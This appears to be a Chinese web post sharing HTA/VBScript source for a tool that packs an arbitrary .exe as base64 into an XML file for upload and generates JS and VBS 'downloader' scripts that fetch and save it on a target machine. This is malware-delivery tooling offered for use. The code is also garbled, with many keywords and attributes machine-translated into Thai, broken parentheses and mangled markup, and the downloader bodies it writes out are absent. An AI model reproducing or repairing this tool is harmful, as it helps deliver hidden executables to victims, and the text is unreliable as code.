以下代码保存成 hta 文件, 可生成 js 和 vbs 下载者
代码如下:
<HTA: แอปพลิเคชัน
id = "xmldown"
คำบรรยายภาพ = "ใช่"
Scroll = "Auto"
ชายแดน = "ไม่มี"
BorderStyle = "Static"
singleinstance = "ใช่"
MaximizeButton = "ไม่"
ชายแดน = "ไม่"
icon = "dxdiag.exe">
<ภาษาสคริปต์ = VBS>
sub window_onload
Window.resizeto Screen.width/1.6, screen.height/3
window.moveto 200,200
สิ้นสุดย่อย
sub createxml (พา ธ ไฟล์)
ตั้งค่า objstream = createObject ("adodb.stream")
objstream.type = 1
objstream.open ()
objstream.loadfromfile (เส้นทาง)
objstream.position = 0
ตั้งค่า xmldoc = createObject ("microsoft.xmldom"))
xmldoc.async = false
ตั้งค่า root = xmldoc.createProcessingInstruction ("xml", "เวอร์ชัน = '1.0' encoding = 'utf-8'")
xmldoc.appendchild (รูท)
xmldoc.AppendChild (xmldoc.createElement ("root")))
ตั้งค่า xfile = xmldoc.selectsingLenode ("// root"). AppendChild (xmldoc.createElement ("ไฟล์"))))
ตั้งค่า xstream = xfile.AppendChild (xmldoc.createElement ("สตรีม"))
Xstream.setAttribute "XMLNS: DT", "Urn: Schemas-Microsoft-COM: Datatypes"
xstream.datatype = "bin.base64"
xstream.nodetypedValue = objstream.read ()
xmldoc.save (ไฟล์)
ตั้งค่า xmldoc = ไม่มีอะไร
ตั้งค่ารูท = ไม่มีอะไร
ตั้งค่า objstream = ไม่มีอะไร
สิ้นสุดย่อย
ฟังก์ชั่น x (obj)
ตั้งค่า x = document.getElementById (obj)
ฟังก์ชันสิ้นสุด
ฟังก์ชั่น findfile (str)
ตั้งค่า fso = createObject ("Scripting.filesystemObject")
ถ้า fso.fileexists (str) แล้ว
findFile = true
อื่น
findFile = false
สิ้นสุดถ้า
ฟังก์ชันสิ้นสุด
ฟังก์ชั่น jsdown ()
ตั้งค่า fso = createObject ("Scripting.filesystemObject")
ด้วย fso.opentextfile ((createobject ("wscript.shell")). currentDirectory & "/jsdown.js", 2, true)
.write x ("jsdown") ค่า
จบลงด้วย
ฟังก์ชันสิ้นสุด
ฟังก์ชั่น vbsdown ()
ตั้งค่า fso = createObject ("Scripting.filesystemObject")
ด้วย fso.opentextfile ((createobject ("wscript.shell")). currentDirectory & "/vbsdown.vbs", 2, true)
.write x ("vbsdown") ค่า
จบลงด้วย
ฟังก์ชันสิ้นสุด
</script>
<body>
<H4> 1. 生成下载用的 xml 文件 </h4>
选择下载的 exe 文件: <อินพุต type = file name = "file1" id = "file1" size = "20">
保存路径 <ประเภทอินพุต = ชื่อข้อความ = "path" id = "pathName" value = "c:/down.xml" size = "20">
<input type = "button" value = "生成 xml 文件" onclick = 'vbs: createxml x ("file1") ค่า x ("pathname") ค่า: ถ้า findfile (x ("pathname") ค่า) color = red> 生成成功, 请传到某个空间 </font> "'> <br>
<H4> 2. 生成下载者 </h4>
<ปุ่ม onclick = 'vbs: jsdown (): ถ้า findfile ("jsdown.js") = จริงแล้ว msgbox "生成成功": x ("url"). innerhtml = "用法是 cscript jsdown.js xmlurl savepath" = จริงแล้ว msgbox "生成成功": x ("url"). innerhtml = "<font color = blue> 用法是 cscript vbsdown.js xmlurl savepath </font>" '> 生成 vbs 下载者 </button> <br> <br> <br> <br> <br>